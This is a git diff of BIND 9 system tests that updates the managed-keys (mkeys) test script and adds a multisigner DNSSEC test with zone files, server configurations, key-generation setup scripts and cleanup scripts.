 mkeys_refresh_on 2 || ret=1
 mkeys_status_on 2 > rndc.out.1.$n 2>&1 || ret=1
 t1=$(grep 'next refresh:' rndc.out.1.$n) || true
-stop_server --use-rndc --port "${CONTROLPORT}" mkeys ns1
+stop_server --use-rndc --port "${CONTROLPORT}" ns1
 rm -f ns1/root.db.signed.jnl
 cat ns1/K*.key >> ns1/root.db.signed
 nextpart ns1/named.run > /dev/null
-start_server --noclean --restart --port "${PORT}" mkeys ns1
+start_server --noclean --restart --port "${PORT}" ns1
 wait_for_log 20 "all zones loaded" ns1/named.run || ret=1
 # Less than a second may have passed since the last time ns2 received a
 # ./DNSKEY response from ns1.  Ensure keys are refreshed at a different
@@ -676,8 +687,12 @@ rndccmd 10.53.0.2 managed-keys destroy | sed 's/^/ns2 /' | cat_i
 mkeys_status_on 2 > rndc.out.1.$n 2>&1 || ret=1
 grep "no views with managed keys" rndc.out.1.$n > /dev/null || ret=1
 mkeys_reconfig_on 2 || ret=1
-mkeys_status_on 2 > rndc.out.2.$n 2>&1 || ret=1
-grep "name: \." rndc.out.2.$n > /dev/null || ret=1
+check_root_trust_anchor_is_present_in_status() {
+	mkeys_status_on 2 > rndc.out.2.$n 2>&1 || return 1
+	grep "name: \." rndc.out.2.$n > /dev/null || return 1
+	return 0
+}
+retry_quiet 5 check_root_trust_anchor_is_present_in_status || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -688,7 +703,7 @@ ret=0
 # compare against the known key.
 tathex=$(grep "query '_ta-[0-9a-f][0-9a-f]*/NULL/IN' approved" ns1/named.run | awk '{print $6; exit 0}' | sed -e 's/(_ta-\([0-9a-f][0-9a-f]*\)):/\1/') || true
 tatkey=$($PERL -e 'printf("%d\n", hex(@ARGV[0]));' "$tathex")
-realkey=$(rndccmd 10.53.0.2 secroots - | sed -n 's#.*SHA256/\([0-9][0-9]*\) ; .*managed.*#\1#p')
+realkey=$(rndccmd 10.53.0.2 secroots - | sed -n "s#.*${DEFAULT_ALGORITHM}/\([0-9][0-9]*\) ; .*managed.*#\1#p")
 [ "$tatkey" -eq "$realkey" ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -712,10 +727,12 @@ ret=0
 # ensure key refresh retry will be scheduled to one actual hour after the first
 # key refresh failure instead of just a few seconds, in order to prevent races
 # between the next scheduled key refresh time and startup time of restarted ns5.
-stop_server --use-rndc --port "${CONTROLPORT}" mkeys ns5
+stop_server --use-rndc --port "${CONTROLPORT}" ns5
 nextpart ns5/named.run > /dev/null
-start_server --noclean --restart --port "${PORT}" mkeys ns5
-wait_for_log 20 "Returned from key fetch in keyfetch_done()" ns5/named.run || ret=1
+start_server --noclean --restart --port "${PORT}" ns5
+wait_for_log_peek 20 "Returned from key fetch in keyfetch_done() for '.':" ns5/named.run || ret=1
+wait_for_log_peek 20 "Returned from key fetch in keyfetch_done() for 'sub.tld':" ns5/named.run || ret=1
+wait_for_log_peek 20 "Returned from key fetch in keyfetch_done() for 'sub.foo':" ns5/named.run || ret=1
 # ns5/named.run will contain logs from both the old instance and the new
 # instance.  In order for the test to pass, both must attempt a fetch.
 count=$(grep -c "Creating key fetch" ns5/named.run) || true
@@ -723,18 +740,37 @@ count=$(grep -c "Creating key fetch" ns5/named.run) || true
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+n=$((n+1))
+echo_i "check 'rndc managed-keys' and islands of trust root unreachable ($n)"
+ret=0
+mkeys_sync_on 5
+mkeys_status_on 5 > rndc.out.$n 2>&1 || ret=1
+# there should be three keys listed now
+count=$(grep -c "keyid: " rndc.out.$n) || true
+[ "$count" -eq 3 ] || ret=1
+# three lines indicating trust status
+count=$(grep -c "trust" rndc.out.$n) || true
+[ "$count" -eq 3 ] || ret=1
+# one indicates current trust
+count=$(grep -c "trusted since" rndc.out.$n) || true
+[ "$count" -eq 1 ] || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
 n=$((n+1))
 echo_i "check key refreshes are resumed after root servers become available ($n)"
 ret=0
-stop_server --use-rndc --port "${CONTROLPORT}" mkeys ns5
+stop_server --use-rndc --port "${CONTROLPORT}" ns5
 # Prevent previous check from affecting this one
 rm -f ns5/managed-keys.bind*
 # named2.args adds "-T mkeytimers=2/20/40" to named1.args as we need to wait for
 # an "hour" until keys are refreshed again after initial failure
 cp ns5/named2.args ns5/named.args
 nextpart ns5/named.run > /dev/null
-start_server --noclean --restart --port "${PORT}" mkeys ns5
-wait_for_log 20 "Returned from key fetch in keyfetch_done() for '.': failure" ns5/named.run || ret=1
+start_server --noclean --restart --port "${PORT}" ns5
+wait_for_log_peek 20 "Returned from key fetch in keyfetch_done() for '.': failure" ns5/named.run || ret=1
+wait_for_log_peek 20 "Returned from key fetch in keyfetch_done() for 'sub.tld': failure" ns5/named.run || ret=1
+wait_for_log_peek 20 "Returned from key fetch in keyfetch_done() for 'sub.foo': success" ns5/named.run || ret=1
 mkeys_secroots_on 5 || ret=1
 grep '; initializing managed' ns5/named.secroots > /dev/null 2>&1 || ret=1
 # ns1 should still REFUSE queries from ns5, so resolving should be impossible
@@ -747,7 +783,9 @@ copy_setports ns1/named3.conf.in ns1/named.conf
 rm -f ns1/root.db.signed.jnl
 nextpart ns5/named.run > /dev/null
 mkeys_reconfig_on 1 || ret=1
-wait_for_log 20 "Returned from key fetch in keyfetch_done() for '.': success" ns5/named.run || ret=1
+wait_for_log_peek 20 "Returned from key fetch in keyfetch_done() for '.': success" ns5/named.run || ret=1
+wait_for_log_peek 20 "Returned from key fetch in keyfetch_done() for 'sub.tld': success" ns5/named.run || ret=1
+wait_for_log_peek 20 "Returned from key fetch in keyfetch_done() for 'sub.foo': success" ns5/named.run || ret=1
 mkeys_secroots_on 5 || ret=1
 grep '; managed' ns5/named.secroots > /dev/null || ret=1
 # ns1 should not longer REFUSE queries from ns5, so managed keys should be
@@ -762,10 +800,10 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "reinitialize trust anchors, add unsupported algorithm ($n)"
 ret=0
-stop_server --use-rndc --port "${CONTROLPORT}" mkeys ns6
+stop_server --use-rndc --port "${CONTROLPORT}" ns6
 rm -f ns6/managed-keys.bind*
 nextpart ns6/named.run > /dev/null
-start_server --noclean --restart --port "${PORT}" mkeys ns6
+start_server --noclean --restart --port "${PORT}" ns6
 # log when an unsupported algorithm is encountered during startup
 wait_for_log 20 "ignoring initial-key for 'unsupported.': algorithm is unsupported" ns6/named.run || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -775,7 +813,7 @@ n=$((n+1))
 echo_i "ignoring unsupported algorithm in managed-keys ($n)"
 ret=0
 mkeys_status_on 6 > rndc.out.$n 2>&1 || ret=1
-# there should still be only two keys listed (for . and rsasha256.)
+# there should still be only two keys listed (for . and island.)
 count=$(grep -c "keyid: " rndc.out.$n) || true
 [ "$count" -eq 2 ] || ret=1
 # two lines indicating trust status
@@ -802,7 +840,7 @@ ret=0
 mkeys_reload_on 1 || ret=1
 mkeys_refresh_on 6 || ret=1
 mkeys_status_on 6 > rndc.out.$n 2>&1 || ret=1
-# there should still be only two keys listed (for . and rsasha256.)
+# there should still be only two keys listed (for . and island.)
 count=$(grep -c "keyid: " rndc.out.$n) || true
 [ "$count" -eq 2 ] || ret=1
 # two lines indicating trust status
@@ -828,5 +866,22 @@ grep "refreshing managed keys for 'view2'" rndc.out.ns7.view2.test$n > /dev/null
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+n=$((n+1))
+echo_i "check 'rndc managed-keys' and islands of trust now that root is reachable ($n)"
+ret=0
+mkeys_sync_on 5
+mkeys_status_on 5 > rndc.out.$n 2>&1 || ret=1
+# there should be three keys listed now
+count=$(grep -c "keyid: " rndc.out.$n) || true
+[ "$count" -eq 3 ] || ret=1
+# theee lines indicating trust status
+count=$(grep -c "trust" rndc.out.$n) || true
+[ "$count" -eq 3 ] || ret=1
+# three indicates current trust
+count=$(grep -c "trusted since" rndc.out.$n) || true
+[ "$count" -eq 3 ] || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/mkeys/tests_sh_mkeys.py b/bin/tests/system/mkeys/tests_sh_mkeys.py
new file mode 100644
index 0000000000..141ee838aa
--- /dev/null
+++ b/bin/tests/system/mkeys/tests_sh_mkeys.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_mkeys(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/multisigner/clean.sh b/bin/tests/system/multisigner/clean.sh
new file mode 100644
index 0000000000..393efbbf37
--- /dev/null
+++ b/bin/tests/system/multisigner/clean.sh
@@ -0,0 +1,43 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+set -e
+
+rm -f *.created
+rm -f cdnskey.ns*
+rm -f cds.ns*
+rm -f secondary.cdnskey.ns*
+rm -f secondary.cds.ns*
+rm -f created.key-*
+rm -f dig.out.*
+rm -f python.out.*
+rm -f rndc.dnssec.status.out.*
+rm -f unused.key-*
+rm -f verify.out.*
+
+rm -f ns*/*.jbk
+rm -f ns*/*.jnl
+rm -f ns*/*.journal.out.test*
+rm -f ns*/*.signed
+rm -f ns*/*.signed.jnl
+rm -f ns*/*.zsk
+rm -f ns*/db-*
+rm -f ns*/K*
+rm -f ns*/keygen.out.*
+rm -f ns*/managed-keys*
+rm -f ns*/model2.secondary.db
+rm -f ns*/model2.secondary.db
+rm -f ns*/named.conf
+rm -f ns*/named.memstats
+rm -f ns*/named.run
+rm -f ns*/settime.out.*
diff --git a/bin/tests/system/multisigner/kasp.conf b/bin/tests/system/multisigner/kasp.conf
new file mode 100644
index 0000000000..5fe6de862f
--- /dev/null
+++ b/bin/tests/system/multisigner/kasp.conf
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy "model2" {
+	keys {
+		ksk lifetime unlimited algorithm ecdsap256sha256;
+		zsk lifetime unlimited algorithm ecdsap256sha256;
+	};
+};
diff --git a/bin/tests/system/multisigner/ns3/model2.multisigner.db b/bin/tests/system/multisigner/ns3/model2.multisigner.db
new file mode 100644
index 0000000000..010b05b3cb
--- /dev/null
+++ b/bin/tests/system/multisigner/ns3/model2.multisigner.db
@@ -0,0 +1,27 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@		IN	SOA  mname1. . (
+			1       ; serial
+			20      ; refresh (20 seconds)
+			20      ; retry (20 seconds)
+			1814400 ; expire (3 weeks)
+			3600    ; minimum (1 hour)
+			)
+
+			NS	ns3
+ns3			A	10.53.0.3
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+c			A	10.0.0.3
+
diff --git a/bin/tests/system/multisigner/ns3/named.conf.in b/bin/tests/system/multisigner/ns3/named.conf.in
new file mode 100644
index 0000000000..7cf25bbc44
--- /dev/null
+++ b/bin/tests/system/multisigner/ns3/named.conf.in
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS3
+
+include "../kasp.conf";
+
+options {
+	query-source address 10.53.0.3;
+	notify-source 10.53.0.3;
+	transfer-source 10.53.0.3;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.3; };
+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	key-directory ".";
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "model2.multisigner." {
+	type primary;
+	allow-update { any; };
+	file "model2.multisigner.db";
+	dnssec-policy model2;
+	inline-signing no;
+};
+
+zone "model2.secondary." {
+	type secondary;
+	primaries { 10.53.0.5; };
+	file "model2.secondary.db";
+	dnssec-policy model2;
+	inline-signing yes;
+};
diff --git a/bin/tests/system/multisigner/ns3/setup.sh b/bin/tests/system/multisigner/ns3/setup.sh
new file mode 100644
index 0000000000..0f6b343e14
--- /dev/null
+++ b/bin/tests/system/multisigner/ns3/setup.sh
@@ -0,0 +1,44 @@
+#!/bin/sh -e
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../../conf.sh
+
+echo_i "ns3/setup.sh"
+
+O="OMNIPRESENT"
+ksktimes="-P now -A now -P sync now"
+zsktimes="-P now -A now"
+
+zone="model2.multisigner"
+echo_i "setting up zone: $zone"
+zonefile="${zone}.db"
+
+KSK=$($KEYGEN  -a $DEFAULT_ALGORITHM -f KSK  -L 3600 $ksktimes $zone 2> keygen.out.$zone.1)
+ZSK=$($KEYGEN -a $DEFAULT_ALGORITHM -L 3600 $zsktimes $zone 2> keygen.out.$zone.2)
+$SETTIME -s -g $O -k $O now -r $O now -d $O now "$KSK" > settime.out.$zone.1 2>&1
+$SETTIME -s -g $O -k $O now -z $O now           "$ZSK" > settime.out.$zone.2 2>&1
+# ZSK will be added to the other provider with nsupdate.
+cat "${ZSK}.key" | grep -v ";.*" > "${zone}.zsk"
+
+zone="model2.secondary"
+echo_i "setting up zone: $zone"
+zonefile="${zone}.db"
+cp "../ns5/${zonefile}.in" "$zonefile"
+
+KSK=$($KEYGEN  -a $DEFAULT_ALGORITHM -f KSK  -L 3600 $ksktimes $zone 2> keygen.out.$zone.1)
+ZSK=$($KEYGEN -a $DEFAULT_ALGORITHM -L 3600 $zsktimes $zone 2> keygen.out.$zone.2)
+$SETTIME -s -g $O -k $O now -r $O now -d $O now  "$KSK" > settime.out.$zone.1 2>&1
+$SETTIME -s -g $O -k $O now -z $O now            "$ZSK" > settime.out.$zone.2 2>&1
+# ZSK will be added to the other provider with nsupdate.
+cat "${ZSK}.key" | grep -v ";.*" > "${zone}.zsk"
diff --git a/bin/tests/system/multisigner/ns4/model2.multisigner.db b/bin/tests/system/multisigner/ns4/model2.multisigner.db
new file mode 100644
index 0000000000..86a1708b45
--- /dev/null
+++ b/bin/tests/system/multisigner/ns4/model2.multisigner.db
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@		IN	SOA  mname1. . (
+			1       ; serial
+			20      ; refresh (20 seconds)
+			20      ; retry (20 seconds)
+			1814400 ; expire (3 weeks)
+			3600    ; minimum (1 hour)
+			)
+
+			NS	ns4
+ns4			A	10.53.0.4
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+c			A	10.0.0.3
diff --git a/bin/tests/system/multisigner/ns4/named.conf.in b/bin/tests/system/multisigner/ns4/named.conf.in
new file mode 100644
index 0000000000..3f36f76cd5
--- /dev/null
+++ b/bin/tests/system/multisigner/ns4/named.conf.in
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS4
+
+include "../kasp.conf";
+
+options {
+	query-source address 10.53.0.4;
+	notify-source 10.53.0.4;
+	transfer-source 10.53.0.4;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.4; };
+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	key-directory ".";
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.4 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "model2.multisigner." {
+	type primary;
+	allow-update { any; };
+	file "model2.multisigner.db";
+	dnssec-policy model2;
+	inline-signing yes;
+};
+
+zone "model2.secondary." {
+	type secondary;
+	primaries { 10.53.0.5; };
+	file "model2.secondary.db";
+	dnssec-policy model2;
+	inline-signing yes;
+};
diff --git a/bin/tests/system/multisigner/ns4/setup.sh b/bin/tests/system/multisigner/ns4/setup.sh
new file mode 100644
index 0000000000..94ac16ad8d
--- /dev/null
+++ b/bin/tests/system/multisigner/ns4/setup.sh
@@ -0,0 +1,44 @@
+#!/bin/sh -e
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../../conf.sh
+
+echo_i "ns4/setup.sh"
+
+O="OMNIPRESENT"
+ksktimes="-P now -A now -P sync now"
+zsktimes="-P now -A now"
+
+zone="model2.multisigner"
+echo_i "setting up zone: $zone"
+zonefile="${zone}.db"
+
+KSK=$($KEYGEN  -a $DEFAULT_ALGORITHM -f KSK  -L 3600 $ksktimes $zone 2> keygen.out.$zone.1)
+ZSK=$($KEYGEN -a $DEFAULT_ALGORITHM -L 3600 $zsktimes $zone 2> keygen.out.$zone.2)
+$SETTIME -s -g $O -k $O now -r $O now -d $O now  "$KSK" > settime.out.$zone.1 2>&1
+$SETTIME -s -g $O -k $O now -z $O now            "$ZSK" > settime.out.$zone.2 2>&1
+# ZSK will be added to the other provider with nsupdate.
+cat "${ZSK}.key" | grep -v ";.*" > "${zone}.zsk"
+
+zone="model2.secondary"
+echo_i "setting up zone: $zone"
+zonefile="${zone}.db"
+cp "../ns5/${zonefile}.in" "$zonefile"
+
+KSK=$($KEYGEN  -a $DEFAULT_ALGORITHM -f KSK  -L 3600 $ksktimes $zone 2> keygen.out.$zone.1)
+ZSK=$($KEYGEN -a $DEFAULT_ALGORITHM -L 3600 $zsktimes $zone 2> keygen.out.$zone.2)
+$SETTIME -s -g $O -k $O now -r $O now -d $O now  "$KSK" > settime.out.$zone.1 2>&1
+$SETTIME -s -g $O -k $O now -z $O now            "$ZSK" > settime.out.$zone.2 2>&1
+# ZSK will be added to the other provider with nsupdate.
+cat "${ZSK}.key" | grep -v ";.*" > "${zone}.zsk"
diff --git a/bin/tests/system/multisigner/ns5/model2.secondary.db.in b/bin/tests/system/multisigner/ns5/model2.secondary.db.in
new file mode 100644
index 0000000000..ea0f3ccda8
--- /dev/null
+++ b/bin/tests/system/multisigner/ns5/model2.secondary.db.in
@@ -0,0 +1,29 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@		IN	SOA  mname1. . (
+			1       ; serial
+			20      ; refresh (20 seconds)
+			20      ; retry (20 seconds)
+			1814400 ; expire (3 weeks)
+			3600    ; minimum (1 hour)
+			)
+
+			NS	ns3
+			NS	ns4
+ns3			A	10.53.0.3
+ns4			A	10.53.0.4
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+c			A	10.0.0.3
+
diff --git a/bin/tests/system/multisigner/ns5/named.conf.in b/bin/tests/system/multisigner/ns5/named.conf.in
new file mode 100644
index 0000000000..0a8e4f556c
--- /dev/null
+++ b/bin/tests/system/multisigner/ns5/named.conf.in
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS5
+
+include "../kasp.conf";
+
+options {
+	query-source address 10.53.0.5;
+	notify-source 10.53.0.5;
+	transfer-source 10.53.0.5;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.5; };
+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	key-directory ".";
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.5 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "model2.secondary." {
+	type primary;
+	allow-update { any; };
+	file "model2.secondary.db";
+};
diff --git a/bin/tests/system/multisigner/ns5/setup.sh b/bin/tests/system/multisigner/ns5/setup.sh
new file mode 100644
index 0000000000..6bf3e6ffbc
--- /dev/null
+++ b/bin/tests/system/multisigner/ns5/setup.sh
@@ -0,0 +1,22 @@
+#!/bin/sh -e
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../../conf.sh
+
+echo_i "ns5/setup.sh"
+
+zone="model2.secondary"
+echo_i "setting up zone: $zone"
+zonefile="${zone}.db"
+cp "${zonefile}.in" "$zonefile"
diff --git a/bin/tests/system/multisigner/setup.sh b/bin/tests/system/multisigner/setup.sh
new file mode 100644
index 0000000000..f7fc496ca8
--- /dev/null
+++ b/bin/tests/system/multisigner/setup.sh
@@ -0,0 +1,36 @@
+#!/bin/sh -e
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../conf.sh
+
+set -e
+
+$SHELL clean.sh
+
+copy_setports ns3/named.conf.in ns3/named.conf
+copy_setports ns4/named.conf.in ns4/named.conf
+copy_setports ns5/named.conf.in ns5/named.conf
+
+(
+	cd ns3
+	$SHELL setup.sh
+)
+(
+	cd ns4
+	$SHELL setup.sh
+)
+(
+	cd ns5
+	$SHELL setup.sh
+)
diff --git a/bin/tests/system/multisigner/tests.sh b/bin/tests/system/multisigner/tests.sh
new file mode 100644
index 0000000000..9d24ce077c
--- /dev/null
+++ b/bin/tests/system/multisigner/tests.sh
@@ -0,0 +1,772 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+set -e
+
+# shellcheck source=conf.sh
+. ../conf.sh
+# shellcheck source=kasp.sh
+. ../kasp.sh
+
+dig_with_opts() {
+	$DIG +tcp +noadd +nosea +nostat +nocmd +dnssec -p $PORT "$@"
+}
+
+start_time="$(TZ=UTC date +%s)"
+status=0
+n=0
+
+set_zone "model2.multisigner"
+set_policy "model2" "2" "3600"
+
+# Key properties and states.
+key_clear        "KEY1"
+set_keyrole      "KEY1" "ksk"
+set_keylifetime  "KEY1" "0"
+set_keyalgorithm "KEY1" "13" "ECDSAP256SHA256" "256"
+set_keysigning   "KEY1" "yes"
+set_zonesigning  "KEY1" "no"
+set_keystate     "KEY1" "GOAL"         "omnipresent"
+set_keystate     "KEY1" "STATE_DNSKEY" "omnipresent"
+set_keystate     "KEY1" "STATE_KRRSIG" "omnipresent"
+set_keystate     "KEY1" "STATE_DS"     "omnipresent"
+
+key_clear        "KEY2"
+set_keyrole      "KEY2" "zsk"
+set_keylifetime  "KEY2" "0"
+set_keyalgorithm "KEY2" "13" "ECDSAP256SHA256" "256"
+set_keysigning   "KEY2" "no"
+set_zonesigning  "KEY2" "yes"
+set_keystate     "KEY2" "GOAL"         "omnipresent"
+set_keystate     "KEY2" "STATE_DNSKEY" "omnipresent"
+set_keystate     "KEY2" "STATE_ZRRSIG" "omnipresent"
+
+key_clear "KEY3"
+key_clear "KEY4"
+
+set_keytimes_model2() {
+	# The first KSK is immediately published and activated.
+	created=$(key_get KEY1 CREATED)
+	set_keytime "KEY1" "PUBLISHED"   "${created}"
+	set_keytime "KEY1" "ACTIVE"      "${created}"
+	set_keytime "KEY1" "SYNCPUBLISH" "${created}"
+
+	# The first ZSKs are immediately published and activated.
+	created=$(key_get KEY2 CREATED)
+	set_keytime "KEY2" "PUBLISHED" "${created}"
+	set_keytime "KEY2" "ACTIVE"    "${created}"
+}
+
+set_server "ns3" "10.53.0.3"
+check_keys
+check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
+set_keytimes_model2
+check_keytimes
+check_apex
+dnssec_verify
+
+set_server "ns4" "10.53.0.4"
+check_keys
+check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
+set_keytimes_model2
+check_keytimes
+check_apex
+dnssec_verify
+
+#
+# Update DNSKEY RRset.
+#
+
+# Check that the ZSKs from the other provider are published.
+zsks_are_published() {
+	dig_with_opts "$ZONE" "@${SERVER}" DNSKEY > "dig.out.$DIR.test$n" || return 1
+	cat dig.out.$DIR.test$n | tr [:blank:] ' ' > dig.out.$DIR.test$n.tr || return 1
+	# We should have two ZSKs.
+	lines=$(grep "256 3 13" dig.out.$DIR.test$n.tr | wc -l)
+	test "$lines" -eq 2 || return 1
+	# Both ZSKs are published.
+	grep "$(cat ns3/${ZONE}.zsk | tr [:blank:] ' ')" dig.out.$DIR.test$n.tr > /dev/null || return 1
+	grep "$(cat ns4/${ZONE}.zsk | tr [:blank:] ' ')" dig.out.$DIR.test$n.tr > /dev/null || return 1
+	# And one KSK.
+	lines=$(grep "257 3 13" dig.out.$DIR.test$n.tr | wc -l)
+	test "$lines" -eq 1 || return 1
+}
+
+# Test to make sure no DNSSEC records end up in the raw journal.
+no_dnssec_in_journal() {
+	n=$((n+1))
+	ret=0
+	echo_i "check zone ${ZONE} raw journal has no DNSSEC ($n)"
+	$JOURNALPRINT "${DIR}/${ZONE}.db.jnl" > "${DIR}/${ZONE}.journal.out.test$n"
+	rrset_exists NSEC "${DIR}/${ZONE}.journal.out.test$n" && ret=1
+	rrset_exists NSEC3 "${DIR}/${ZONE}.journal.out.test$n" && ret=1
+	rrset_exists NSEC3PARAM "${DIR}/${ZONE}.journal.out.test$n" && ret=1
+	rrset_exists RRSIG "${DIR}/${ZONE}.journal.out.test$n" && ret= 1
+	test "$ret" -eq 0 || echo_i "failed"
+	status=$((status+ret))
+}
+
+# Check if a certain RRtype is present in the journal file.
+rrset_exists() (
+	rrtype=$1
+	file=$2
+	lines=$(awk -v rt="${rrtype}" '$5 == rt {print}' ${file} | wc -l)
+	test "$lines" -gt 0
+)
+
+n=$((n+1))
